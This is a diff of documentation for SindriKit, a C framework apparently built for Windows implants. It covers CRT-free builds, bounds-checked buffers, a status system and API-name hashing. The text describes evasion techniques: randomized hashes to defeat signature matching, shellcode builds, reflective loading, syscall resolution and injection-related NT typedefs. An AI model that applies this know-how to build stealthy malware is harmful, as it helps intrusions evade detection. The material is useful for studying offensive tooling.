| `s2` | `const char*` | Second string |
|
|
||||||
| `max_len` | `SIZE_T` | Maximum characters to compare |
|
|
||||||
|
|
||||||
**Returns:** `int` — `<0` if `s1 < s2`, `0` if equal, `>0` if `s1 > s2`.
|
| Function | Backend |
|
||||||
|
|---|---|
|
||||||
|
| `snd_buffer_free_heap` | `HeapFree(GetProcessHeap(), …)` |
|
||||||
|
| `snd_buffer_free_virtual` | `VirtualFree(…, MEM_RELEASE)` |
|
||||||
|
| `snd_buffer_free_mapped` | `UnmapViewOfFile` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Hashing (`sindri/common/hash.h`)
|
## Hashing (`sindri/common/hash.h`)
|
||||||
|
|
||||||
|
Runtime hashing uses the algorithm selected at CMake configure time.
|
||||||
|
|
||||||
### `snd_hash`
|
### `snd_hash`
|
||||||
|
|
||||||
Computes the configured hash of an ASCII string. Case-sensitive.
|
```c
|
||||||
|
uint32_t snd_hash(const char *str);
|
||||||
|
```
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Case-sensitive. Export names from the EAT.
|
||||||
|---|---|---|
|
|
||||||
| `str` | `const char*` | Null-terminated ASCII string |
|
|
||||||
|
|
||||||
**Returns:** `DWORD` — computed hash value.
|
|
||||||
|
|
||||||
**Primary use:** Hashing export names from the PE Export Address Table (e.g., `NtAllocateVirtualMemory`).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_hash_lower`
|
### `snd_hash_lower`
|
||||||
|
|
||||||
Computes the configured hash of an ASCII string after lowering each character.
|
```c
|
||||||
|
uint32_t snd_hash_lower(const char *str);
|
||||||
|
```
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Lowercases ASCII before hashing. Import DLL names.
|
||||||
|---|---|---|
|
|
||||||
| `str` | `const char*` | Null-terminated ASCII string |
|
|
||||||
|
|
||||||
**Returns:** `DWORD` — computed hash value.
|
|
||||||
|
|
||||||
**Primary use:** Hashing DLL names from the PE Import Directory (e.g., `KERNEL32.dll`).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_hash_wide_lower`
|
### `snd_hash_wide_lower`
|
||||||
|
|
||||||
Computes the configured hash of a wide (UTF-16) string after lowering each character.
|
```c
|
||||||
|
uint32_t snd_hash_wide_lower(const wchar_t *str);
|
||||||
|
```
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Lowercases wide string before hashing. PEB module names.
|
||||||
|
|
||||||
|
**Source:** `src/common/hash.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Status (`sindri/common/status.h`)
|
||||||
|
|
||||||
|
### `snd_status_t`
|
||||||
|
|
||||||
|
| Field | Debug (`SND_DEBUG=1`) | Release |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `str` | `const wchar_t*` | Null-terminated wide string |
|
| `code` | `snd_status_code_t` | same |
|
||||||
|
| `os_error` | `int` | same |
|
||||||
|
| `file` | source file | *(omitted)* |
|
||||||
|
| `line` | line number | *(omitted)* |
|
||||||
|
| `context` | 128-byte formatted string | *(omitted)* |
|
||||||
|
|
||||||
**Returns:** `DWORD` — computed hash value.
|
### Convenience macros
|
||||||
|
|
||||||
**Primary use:** Hashing module names from the PEB's `InMemoryOrderModuleList` (e.g., `L"ntdll.dll"`).
|
| Macro | Description |
|
||||||
|
|---|---|
|
||||||
|
| `SND_SUCCEEDED(x)` | `(x.code == SND_SUCCESS)` |
|
||||||
|
| `SND_FAILED(x)` | `(x.code != SND_SUCCESS)` |
|
||||||
|
| `SND_OK` | Success status |
|
||||||
|
| `SND_ERR(code)` | Framework error |
|
||||||
|
| `SND_ERR_CTX(code, fmt, …)` | Error with formatted context (debug only) |
|
||||||
|
| `SND_ERR_W32(code)` | Error + `GetLastError()` |
|
||||||
|
| `SND_ERR_W32_CTX(code, fmt, …)` | W32 + context |
|
||||||
|
| `SND_ERR_NT(code, nt_status)` | Error + NTSTATUS |
|
||||||
|
| `SND_ERR_NT_CTX(code, nt_status, fmt, …)` | NT + context |
|
||||||
|
|
||||||
|
### `SND_MAX_CTX_LEN`
|
||||||
|
|
||||||
|
**Value:** `128` — max formatted context string length.
|
||||||
|
|
||||||
|
### Status code ranges (selected)
|
||||||
|
|
||||||
|
| Range | Domain |
|
||||||
|
|---|---|
|
||||||
|
| `0x100` | Command-line errors |
|
||||||
|
| `0x200` | File / I/O |
|
||||||
|
| `0x300` | PE parsing |
|
||||||
|
| `0x400` | Reflective loading |
|
||||||
|
| `0x500` | Syscall resolution |
|
||||||
|
| `0x600` | PEB |
|
||||||
|
| `0x800` | OS / mapping |
|
||||||
|
| `0x900` | Access denied |
|
||||||
|
|
||||||
|
Full enum: `include/sindri/common/status.h`.
|
||||||
|
|
||||||
|
### `snd_status_to_string`
|
||||||
|
|
||||||
|
```c
|
||||||
|
const char *snd_status_to_string(snd_status_t status);
|
||||||
|
```
|
||||||
|
|
||||||
|
Human-readable description. Returns empty string when `SND_DEBUG=0`.
|
||||||
|
|
||||||
|
### `snd_status_print`
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_status_print(snd_status_t status);
|
||||||
|
```
|
||||||
|
|
||||||
|
Prints code, context, OS error, and file/line via `SND_DEBUG_PRINT`. No-op body when `SND_DEBUG=0`.
|
||||||
|
|
||||||
|
**Source:** `src/common/status.c`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Debug (`sindri/common/debug.h`)
|
||||||
|
|
||||||
|
Controlled by CMake `SND_ENABLE_DEBUG` → `SND_DEBUG`.
|
||||||
|
|
||||||
|
### `SND_DEBUG_PRINT(fmt, …)`
|
||||||
|
|
||||||
|
Formatted debug output. No-op when `SND_DEBUG=0`.
|
||||||
|
|
||||||
|
### `SND_FDEBUG_PRINT(stream, fmt, …)`
|
||||||
|
|
||||||
|
Stream-targeted output when `SND_USE_PRINTF=1`; otherwise same as `SND_DEBUG_PRINT`.
|
||||||
|
|
||||||
|
### `SND_FALLBACK_STR(debug_str)`
|
||||||
|
|
||||||
|
Returns `debug_str` when `SND_DEBUG=1`, `""` when `SND_DEBUG=0`. Used for stage name strings in state machines.
|
||||||
|
|
||||||
|
### `snd_dump_hex`
|
||||||
|
|
||||||
|
```c
|
||||||
|
void snd_dump_hex(const void *dat, size_t len_dat, uintptr_t base_off);
|
||||||
|
```
|
||||||
|
|
||||||
|
Hex + ASCII dump. Only emits when `SND_DEBUG=1`.
|
||||||
|
|
||||||
|
**Source:** `src/common/debug.c`
|
||||||
|
|
||||||
|
### `SND_DEBUG_MAX_LEN`
|
||||||
|
|
||||||
|
**Value:** `1024` — internal format buffer when using `OutputDebugStringA` path.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Disk I/O (`sindri/common/disk.h`)
|
## Disk I/O (`sindri/common/disk.h`)
|
||||||
|
|
||||||
### `snd_buffer_load_from_disk`
|
### `snd_disk_buffer_load`
|
||||||
|
|
||||||
Reads an entire file into a heap-allocated `snd_buffer_t`. The buffer's `free_routine` is set to `snd_buffer_free_heap`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `path` | `const char*` | Null-terminated file path |
|
|
||||||
| `out_buf` | `snd_buffer_t*` | Output buffer; must be zeroed before the call |
|
|
||||||
|
|
||||||
**Returns:** `snd_status_t` — `SND_OK` on success, or an I/O error (`SND_STATUS_INVALID_PATH`, `SND_STATUS_FILE_CREATE_FAILED`, `SND_STATUS_FILE_READ_FAILED`, etc.).
|
|
||||||
|
|
||||||
> [!NOTE]
|
|
||||||
> The caller is responsible for releasing the buffer via `snd_buffer_free(out_buf)`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Debug Output (`sindri/common/helpers.h`)
|
|
||||||
|
|
||||||
### `SND_DEBUG_PRINT(fmt, ...)`
|
|
||||||
|
|
||||||
Macro that emits a formatted debug string. Compiles to a no-op when `SND_DEBUG=0`.
|
|
||||||
|
|
||||||
### `SND_FDEBUG_PRINT(stream, fmt, ...)`
|
|
||||||
|
|
||||||
Macro that emits a formatted debug string to a specific file stream. Only meaningful when `SND_USE_PRINTF=1`; otherwise routes to `OutputDebugStringA`.
|
|
||||||
|
|
||||||
### `snd_dump_hex`
|
|
||||||
|
|
||||||
Prints a combined hexadecimal and ASCII view of a byte buffer. Output is gated by `SND_DEBUG`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `dat` | `const void*` | Pointer to the data to dump |
|
|
||||||
| `len_dat` | `size_t` | Number of bytes to dump |
|
|
||||||
| `base_off` | `ULONG_PTR` | Base address for computing printed offsets |
|
|
||||||
|
|
||||||
### `SND_DEBUG_MAX_LEN`
|
|
||||||
|
|
||||||
**Value:** `1024`
|
|
||||||
|
|
||||||
Maximum length of a formatted debug string buffer used internally by `snd_debug_print_internal`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_debug_print_internal`
|
|
||||||
|
|
||||||
Internal function invoked by `SND_DEBUG_PRINT` and `SND_FDEBUG_PRINT` to safely format and print debug strings up to `SND_DEBUG_MAX_LEN`. Stripped when `SND_DEBUG=0`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Status System (`sindri/common/status.h`)
|
|
||||||
|
|
||||||
### `SND_MAX_CTX_LEN`
|
|
||||||
|
|
||||||
**Value:** `128`
|
|
||||||
|
|
||||||
Maximum length of the formatted error context string embedded within the `snd_status_t` structure.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_status_print`
|
|
||||||
|
|
||||||
Translates a `snd_status_t` code into a human-readable string using the framework's global status translation table. Also prints the context buffer if one is present.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `status` | `snd_status_t` | The status code/struct to translate and print |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Internal NT Definitions (`sindri/internal/nt_defs.h`)
|
|
||||||
|
|
||||||
While primarily internal, the following constants and macros are explicitly defined to avoid dependency on the massive `<winternl.h>` header.
|
|
||||||
|
|
||||||
### `SND_PAGE_SIZE`
|
|
||||||
|
|
||||||
**Value:** `0x1000` (4096 bytes)
|
|
||||||
|
|
||||||
Standard x86/x64 memory page size.
|
|
||||||
|
|
||||||
### `SND_OBJ_CASE_INSENSITIVE`
|
|
||||||
|
|
||||||
**Value:** `0x00000040L`
|
|
||||||
|
|
||||||
Object Manager flag indicating case-insensitive string evaluation.
|
|
||||||
|
|
||||||
### `SND_InitializeObjectAttributes`
|
|
||||||
|
|
||||||
Macro that zeroes and initializes an `OBJECT_ATTRIBUTES` structure with the provided Root Directory, Object Name, and Attributes. Mirrors the standard `InitializeObjectAttributes` macro.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Utility Macros (`sindri/common/helpers.h`)
|
|
||||||
|
|
||||||
### `SND_PTR_ADD(base, offset)`
|
|
||||||
|
|
||||||
Safely adds a byte offset to a base pointer by casting through `BYTE*`.
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID target = SND_PTR_ADD(image_base, rva);
|
snd_status_t snd_disk_buffer_load(const char *path, snd_buffer_t *out_buf);
|
||||||
```
|
```
|
||||||
|
|
||||||
### `SND_FORCE_INLINE`
|
Reads entire file into heap memory. Sets `free_routine = snd_buffer_free_heap`.
|
||||||
|
|
||||||
Compiler-agnostic macro for forcing function inlining. Expands to `static __forceinline` on MSVC and `static inline __attribute__((always_inline))` on GCC/Clang.
|
**Returns:** `SND_OK`, `SND_STATUS_INVALID_PATH`, `SND_STATUS_FILE_CREATE_FAILED`, `SND_STATUS_FILE_READ_FAILED`, etc.
|
||||||
|
|
||||||
### `SND_BEGIN_EXTERN_C` / `SND_END_EXTERN_C`
|
**Source:** `src/common/disk.c`
|
||||||
|
|
||||||
C++ linkage compatibility wrappers. Expand to `extern "C" { ... }` when compiled as C++, empty otherwise.
|
---
|
||||||
|
|
||||||
|
## CRT manifest (`src/common/crt_manifest.c`)
|
||||||
|
|
||||||
|
Global linker symbols (not for direct use):
|
||||||
|
|
||||||
|
```c
|
||||||
|
void *memcpy(void *dest, const void *src, size_t count);
|
||||||
|
void *memset(void *dest, int c, size_t count);
|
||||||
|
```
|
||||||
|
|
||||||
|
Compiled when building CRT-less targets. Satisfies MSVC implicit codegen under `/NODEFAULTLIB`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Internal NT layouts (`include/sindri/internal/nt/`)
|
||||||
|
|
||||||
|
Not part of `sindri/common.h`, but replaces the former `internal/nt_defs.h` monolith.
|
||||||
|
|
||||||
|
### `types.h`
|
||||||
|
|
||||||
|
| Symbol | Description |
|
||||||
|
|---|---|
|
||||||
|
| `SND_NT_SUCCESS(s)` | `((NTSTATUS)(s)) >= 0` |
|
||||||
|
| `SND_PAGE_SIZE` | `0x1000` |
|
||||||
|
| `SND_OBJ_CASE_INSENSITIVE` | `0x00000040L` |
|
||||||
|
| `SND_InitializeObjectAttributes(p, n, a, r, s)` | Init object attributes macro |
|
||||||
|
| `SND_UNICODE_STRING` | NT counted wide string |
|
||||||
|
| `SND_OBJECT_ATTRIBUTES` | Object Manager attributes |
|
||||||
|
| `SND_CLIENT_ID` | Process/thread identifier |
|
||||||
|
| `snd_init_unicode_string(us, buf, char_count)` | Inline unicode string init |
|
||||||
|
|
||||||
|
### `api.h`
|
||||||
|
|
||||||
|
Function pointer typedefs: `SND_LdrLoadDll_t`, `SND_NtOpenSection_t`, `SND_NtMapViewOfSection_t`, `SND_NtClose_t`, `SND_NtAllocateVirtualMemory_t`, `SND_NtProtectVirtualMemory_t`, `SND_NtFreeVirtualMemory_t`, `SND_NtOpenProcess_t`, `SND_NtWriteVirtualMemory_t`, `SND_NtCreateThreadEx_t`.
|
||||||
|
|
||||||
|
### `peb.h`
|
||||||
|
|
||||||
|
Layouts: `SND_PEB`, `SND_PEB_LDR_DATA`, `SND_LDR_DATA_TABLE_ENTRY`, `SND_RTL_USER_PROCESS_PARAMETERS`, `SND_CURDIR`.
|
||||||
|
|
||||||
|
Include via `sindri/internal/nt.h`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Infrastructure concepts](infrastructure.md)
|
||||||
|
- [Status system architecture](../architecture/status_system.md)
|
||||||
|
- [Hash manifest](../config/hashes_manifest.md)
|
||||||
|
|||||||
+104
-56
@@ -1,98 +1,146 @@
|
|||||||
# Common Infrastructure
|
# Common Infrastructure
|
||||||
|
|
||||||
The `include/sindri/common/` headers provide the shared utilities that every domain in the framework depends on. They solve three fundamental problems: eliminating the C Runtime dependency, tracking buffer bounds to prevent memory corruption, and removing plaintext API strings from the compiled binary.
|
Conceptual overview of the shared utilities in `include/sindri/common/`. For function signatures see [api_reference.md](api_reference.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Module layout (post-refactor)
|
||||||
|
|
||||||
|
The former monolithic `helpers.h` and `nt_defs.h` were split for clarity:
|
||||||
|
|
||||||
|
```
|
||||||
|
include/sindri/common/
|
||||||
|
├── macros.h ← compiler / linkage macros (was part of helpers)
|
||||||
|
├── memory.h ← bounds + memzero/memcpy + SND_PTR_ADD
|
||||||
|
├── string.h ← ASCII + wide string helpers (new wide APIs)
|
||||||
|
├── buffer.h ← tracked buffers
|
||||||
|
├── hash.h
|
||||||
|
├── status.h
|
||||||
|
├── debug.h ← debug macros (was mixed into helpers)
|
||||||
|
└── disk.h
|
||||||
|
|
||||||
|
include/sindri/internal/nt/ ← was sindri/internal/nt_defs.h
|
||||||
|
├── types.h ← NT structs, SND_PAGE_SIZE, unicode init
|
||||||
|
├── api.h ← Nt* typedefs
|
||||||
|
└── peb.h ← PEB / LDR layouts
|
||||||
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## CRT Independence
|
## CRT Independence
|
||||||
|
|
||||||
SindriKit is designed to compile under `/NODEFAULTLIB` (MSVC), completely stripping the Microsoft C Runtime from the final binary. This is a hard requirement for position-independent shellcode and for minimizing the import table footprint of implants.
|
SindriKit compiles under `/NODEFAULTLIB` for minimal import footprint. CRT replacements live in **`memory.h`** and **`string.h`** (header-only inlines):
|
||||||
|
|
||||||
The standard C library functions that the framework requires are reimplemented as compiler-intrinsic-safe inline functions inside `include/sindri/common/helpers.h`:
|
| CRT | SindriKit | Header |
|
||||||
|
|
||||||
| CRT Function | SindriKit Replacement | Notes |
|
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `memset` | `snd_memzero` | Uses `volatile BYTE*` to prevent compiler optimization from eliding the zeroing loop |
|
| `memset` | `snd_memzero` | `memory.h` |
|
||||||
| `memcpy` | `snd_memcpy` | Byte-by-byte copy with no alignment assumptions |
|
| `memcpy` | `snd_memcpy` | `memory.h` |
|
||||||
| `strnlen` | `snd_strnlen` | Bounded length evaluation |
|
| `strnlen` | `snd_strnlen` | `string.h` |
|
||||||
| `strncpy` / `strncpy_s` | `snd_strncpy` | Truncation-safe; always null-terminates |
|
| `strncpy` | `snd_strncpy` | `string.h` |
|
||||||
| `strcat` / `strcat_s` | `snd_strncat` | Bounded concatenation with null-termination guarantee |
|
| `strncat` | `snd_strncat` | `string.h` |
|
||||||
| `strchr` | `snd_strnchr` | Bounded character search |
|
| `strchr` | `snd_strnchr` | `string.h` |
|
||||||
| `strcmp` / `strncmp` | `snd_strncmp` | Bounded comparison returning standard `<0 / 0 / >0` semantics |
|
| `strncmp` | `snd_strncmp` | `string.h` |
|
||||||
|
| `wcsnlen` | `snd_wcsnlen` | `string.h` |
|
||||||
|
| `wcsnicmp` | `snd_wcsnicmp` | `string.h` |
|
||||||
|
| `wcsncpy` | `snd_wcsncpy` | `string.h` |
|
||||||
|
| `wcsncat` | `snd_wcsncat` | `string.h` |
|
||||||
|
| `mbstowcs` (ASCII→wide) | `snd_ascii_to_wide` | `string.h` |
|
||||||
|
|
||||||
Additionally, `src/common/crt_manifest.c` provides the compiler-required `memcpy` and `memset` symbols that MSVC's code generation emits implicitly (e.g., for struct copies and zero-initialization). Without these symbols, linking under `/NODEFAULTLIB` produces unresolved external errors even if the source code never explicitly calls `memcpy`.
|
### CRT manifest (`src/common/crt_manifest.c`)
|
||||||
|
|
||||||
|
MSVC may emit implicit `memcpy`/`memset` calls (struct copies, zero-init). Under `/NODEFAULTLIB`, `crt_manifest.c` provides global `memcpy`/`memset` symbols for the linker.
|
||||||
|
|
||||||
|
> Do **not** call `memcpy`/`memset` explicitly in framework code — use `snd_memcpy` / `snd_memzero`.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Enabling `SND_DEBUG=1` or `SND_USE_PRINTF=1` pulls in `<stdio.h>` and `<stdarg.h>`, which reintroduce CRT dependencies. These flags **must** be disabled (`SND_DEBUG=0`) for any `/NODEFAULTLIB` build.
|
> `SND_DEBUG=1` or `SND_USE_PRINTF=1` pulls in `<stdio.h>` / `<stdarg.h>`. Disable debug for `/NODEFAULTLIB` release builds.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Buffer Bounds Tracking
|
## Buffer bounds tracking
|
||||||
|
|
||||||
SindriKit wraps all raw memory pointers in a `snd_buffer_t` structure that pairs the data pointer with a tracked size. Every access into a buffer — whether parsing PE headers, walking export tables, or applying relocations — is routed through bounds-checking functions that validate `(offset, size)` against the tracked total before dereferencing.
|
Raw pointers are wrapped in `snd_buffer_t` (`data`, `size`, optional `free_routine`). Access validation is layered:
|
||||||
|
|
||||||
### `snd_buffer_t`
|
1. **`snd_memory_bounds_check(total, offset, size)`** — pure arithmetic (`memory.h`)
|
||||||
|
2. **`snd_buffer_bounds_check(buf, offset, size)`** — against a tracked buffer (`buffer.h`)
|
||||||
|
3. **`snd_memory_ptr_bounds_check(base, total, ptr, size)`** — arbitrary pointer in a region (`memory.h`)
|
||||||
|
|
||||||
```c
|
All return `1` if in bounds, `0` otherwise (not Win32 `BOOL` typedef, but equivalent semantics).
|
||||||
struct snd_buffer_s {
|
|
||||||
LPVOID data;
|
|
||||||
SIZE_T size;
|
|
||||||
snd_free_cb free_routine; // optional cleanup callback
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
The `free_routine` callback supports polymorphic deallocation: the same `snd_buffer_free` function correctly handles buffers backed by `HeapAlloc`, `VirtualAlloc`, or `MapViewOfFile` by dispatching through the stored callback.
|
The PE parser's `snd_pe_rva_to_ptr` and syscall neighbor scan use these checks before dereferencing.
|
||||||
|
|
||||||
### Bounds Checking Pipeline
|
### Polymorphic free
|
||||||
|
|
||||||
All bounds validation is implemented as force-inlined functions to eliminate call overhead:
|
`snd_buffer_free` dispatches through `free_routine`:
|
||||||
|
|
||||||
1. `snd_bounds_check(total_size, offset, size)` — pure arithmetic validation.
|
| Callback | Backend |
|
||||||
2. `snd_buffer_bounds_check(buf, offset, size)` — validates against a tracked `snd_buffer_t`.
|
|---|---|
|
||||||
3. `snd_ptr_bounds_check(base, total_size, ptr, size)` — validates an arbitrary pointer against a known base region.
|
| `snd_buffer_free_heap` | `HeapFree` |
|
||||||
|
| `snd_buffer_free_virtual` | `VirtualFree` |
|
||||||
These functions catch both overflow and underflow conditions. The PE parser's `snd_pe_rva_to_ptr` is the primary consumer, rejecting any RVA that would resolve outside the tracked image.
|
| `snd_buffer_free_mapped` | `UnmapViewOfFile` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## API Hashing
|
## API hashing
|
||||||
|
|
||||||
To eliminate plaintext API strings (like `NtAllocateVirtualMemory` or `kernel32.dll`) from the binary's `.rdata` section, SindriKit pre-computes hashes of all required API names at configure time. The CMake build system runs `scripts/generate_hashes.py` against `config/hashes.ini`, which lists every module and function the framework resolves.
|
Compile-time hashes are generated from `config/hashes.ini` into **`sindri_hashes.h`** in the CMake build directory (`${CMAKE_BINARY_DIR}/generated/`). Runtime functions in `hash.h`:
|
||||||
|
|
||||||
### Hash Variants
|
| Function | Input | Casing | Typical use |
|
||||||
|
|
||||||
Three runtime hashing functions are provided to match the contexts in which strings are encountered:
|
|
||||||
|
|
||||||
| Function | Input | Casing | Use Case |
|
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| `snd_hash` | `const char*` | Case-sensitive | Export names from the PE Export Directory (e.g., `NtAllocateVirtualMemory`) |
|
| `snd_hash` | `const char*` | Sensitive | Export names (`NtAllocateVirtualMemory`) |
|
||||||
| `snd_hash_lower` | `const char*` | Lowercased | DLL names from the PE Import Directory (e.g., `KERNEL32.dll` → lowered) |
|
| `snd_hash_lower` | `const char*` | Lowercased | Import DLL names |
|
||||||
| `snd_hash_wide_lower` | `const wchar_t*` | Lowercased | Module names from the PEB `BaseDllName` (UTF-16) |
|
| `snd_hash_wide_lower` | `const wchar_t*` | Lowercased | PEB `BaseDllName` |
|
||||||
|
|
||||||
The hashing algorithm itself is swappable at configure time via the `SND_HASH_ALGO` CMake variable (e.g., `DJB2`, `FNV1A`). The Python script also generates a randomized compile-time seed per build run, ensuring that hash values are unique across builds and cannot be signature-matched.
|
Algorithm and seed are configured via CMake (`SND_HASH_ALGO`, `SND_RANDOMIZE_SEED`). See [config/hashes manifest](../config/hashes_manifest.md).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Debug Output System
|
## Status system
|
||||||
|
|
||||||
SindriKit implements a two-tier debug output system controlled by the `SND_DEBUG` and `SND_USE_PRINTF` preprocessor macros:
|
All fallible framework functions return `snd_status_t` with:
|
||||||
|
|
||||||
| `SND_DEBUG` | `SND_USE_PRINTF` | Output Destination | CRT Required |
|
- `code` — `snd_status_code_t` enum (PE, loader, syscall, PEB, OS error ranges)
|
||||||
|---|---|---|---|
|
- `os_error` — captured `GetLastError()` or `NTSTATUS` at failure site
|
||||||
| `0` | N/A | All macros compile to no-ops; zero strings emitted | No |
|
|
||||||
| `1` | `1` | `stdout` / `stderr` via `fprintf` | Yes |
|
|
||||||
| `1` | `0` | Windows kernel debugger via `OutputDebugStringA` | Partial (`vsnprintf`) |
|
|
||||||
|
|
||||||
The two primary macros are:
|
Convenience macros: `SND_SUCCEEDED(x)`, `SND_FAILED(x)`.
|
||||||
- `SND_DEBUG_PRINT(fmt, ...)` — outputs to the default destination.
|
|
||||||
- `SND_FDEBUG_PRINT(stream, fmt, ...)` — outputs to a specific file stream (only meaningful when `SND_USE_PRINTF=1`).
|
|
||||||
|
|
||||||
When `SND_DEBUG=0`, both macros expand to empty `do { (void)0; } while(0)` blocks. The compiler strips all format string literals and argument evaluations from the binary entirely.
|
When `SND_DEBUG=1`, the struct also carries `file`, `line`, and a 128-byte `context` buffer populated by `SND_ERR_CTX` / `SND_ERR_W32_CTX` / `SND_ERR_NT_CTX`.
|
||||||
|
|
||||||
|
When `SND_DEBUG=0`, context formatting is stripped — only integers remain. See [status system architecture](../architecture/status_system.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Debug output (`debug.h`)
|
||||||
|
|
||||||
|
| `SND_DEBUG` | `SND_USE_PRINTF` | Output |
|
||||||
|
|---|---|---|
|
||||||
|
| `0` | — | All debug macros compile to no-ops |
|
||||||
|
| `1` | `1` | `fprintf` to stdout/stderr |
|
||||||
|
| `1` | `0` | `OutputDebugStringA` via internal `vsnprintf` buffer |
|
||||||
|
|
||||||
|
- **`SND_DEBUG_PRINT(fmt, …)`** — default debug line
|
||||||
|
- **`SND_FDEBUG_PRINT(stream, fmt, …)`** — stream-specific (printf mode only)
|
||||||
|
- **`SND_FALLBACK_STR(s)`** — returns `s` in debug builds, `""` in release (strips stage-name strings from `.rdata`)
|
||||||
|
- **`snd_dump_hex`** — hex+ASCII dump (gated by `SND_DEBUG`)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Disk I/O
|
## Disk I/O
|
||||||
|
|
||||||
The `snd_buffer_load_from_disk` utility reads an entire file into a heap-allocated `snd_buffer_t`. It uses Win32 `CreateFileA` / `ReadFile` internally and sets the buffer's `free_routine` to `snd_buffer_free_heap` for automatic cleanup.
|
`snd_disk_buffer_load` reads a full file into a heap buffer with `snd_buffer_free_heap`. Used by PoCs; production implants typically receive payloads over the network into pre-allocated buffers.
|
||||||
|
|
||||||
This function is used exclusively by the PoC executables to load raw PE payloads from disk. In a production implant, the payload would typically arrive over a network channel and be written directly into a pre-allocated buffer, bypassing disk I/O entirely.
|
---
|
||||||
|
|
||||||
|
## Internal NT types (moved from common)
|
||||||
|
|
||||||
|
NT-specific constants and layouts no longer live under `common/`. Key items in `internal/nt/types.h`:
|
||||||
|
|
||||||
|
| Symbol | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `SND_NT_SUCCESS(status)` | NTSTATUS success test |
|
||||||
|
| `SND_PAGE_SIZE` | `0x1000` |
|
||||||
|
| `SND_OBJ_CASE_INSENSITIVE` | Object Manager attribute flag |
|
||||||
|
| `SND_InitializeObjectAttributes` | Initialize `SND_OBJECT_ATTRIBUTES` |
|
||||||
|
| `snd_init_unicode_string` | Build `SND_UNICODE_STRING` from wide buffer + length |
|
||||||
|
|
||||||
|
Function typedefs (`SND_NtOpenSection_t`, etc.) are in `internal/nt/api.h`. PEB structures are in `internal/nt/peb.h`.
|
||||||
|
|||||||
@@ -1,7 +1,12 @@
|
|||||||
# Build Configuration
|
# Build Configuration
|
||||||
|
|
||||||
This directory documents the declarative configuration files consumed by the build system.
|
Declarative configuration consumed by the CMake build system.
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [hashes_manifest.md](hashes_manifest.md)
|
|
||||||
Detailed specification of the `config/hashes.ini` manifest format, section types, and instructions for adding new domains.
|
- [hashes_manifest.md](hashes_manifest.md) — `config/hashes.ini` format, sections, adding APIs
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Scripts: generate_hashes](../scripts/generate_hashes.md)
|
||||||
|
- [Getting started: building](../getting_started/building.md)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
**Location:** `config/hashes.ini`
|
**Location:** `config/hashes.ini`
|
||||||
|
|
||||||
This INI-style manifest is the single source of truth for all compile-time API string hashes in SindriKit. The build system evaluates it at configure time via `scripts/generate_hashes.py`, which emits a C header of `#define` macros consumed throughout the framework.
|
This INI-style manifest is the single source of truth for compile-time API string hashes. CMake runs `scripts/generate_hashes.py` at configure time, emitting **`sindri_hashes.h`** into the build directory (`${CMAKE_BINARY_DIR}/generated/`).
|
||||||
|
|
||||||
## Purpose
|
## Purpose
|
||||||
|
|
||||||
@@ -30,13 +30,15 @@ This produces:
|
|||||||
- `SND_HASH_NTALLOCATEVIRTUALMEMORY` — hash of the export name
|
- `SND_HASH_NTALLOCATEVIRTUALMEMORY` — hash of the export name
|
||||||
- ... one per API listed.
|
- ... one per API listed.
|
||||||
|
|
||||||
### Extras Section: `[extras]`
|
### Extras Section: `[extras]` (optional)
|
||||||
|
|
||||||
Standalone strings that do not belong to any module (e.g., registry key names, object manager paths). No module hash is generated for this section — only individual string hashes.
|
Standalone strings that do not belong to any module (e.g., registry keys, object paths). The generator supports this section (`scripts/generate_hashes.py`), but **`config/hashes.ini` does not currently define one** — only `[module::…]` sections are present today.
|
||||||
|
|
||||||
|
When added, each line produces an individual `SND_HASH_…` define (no module hash for the section):
|
||||||
|
|
||||||
```ini
|
```ini
|
||||||
[extras]
|
[extras]
|
||||||
\\KnownDlls\\ntdll.dll
|
SomeStandaloneString
|
||||||
```
|
```
|
||||||
|
|
||||||
### Comments and Whitespace
|
### Comments and Whitespace
|
||||||
|
|||||||
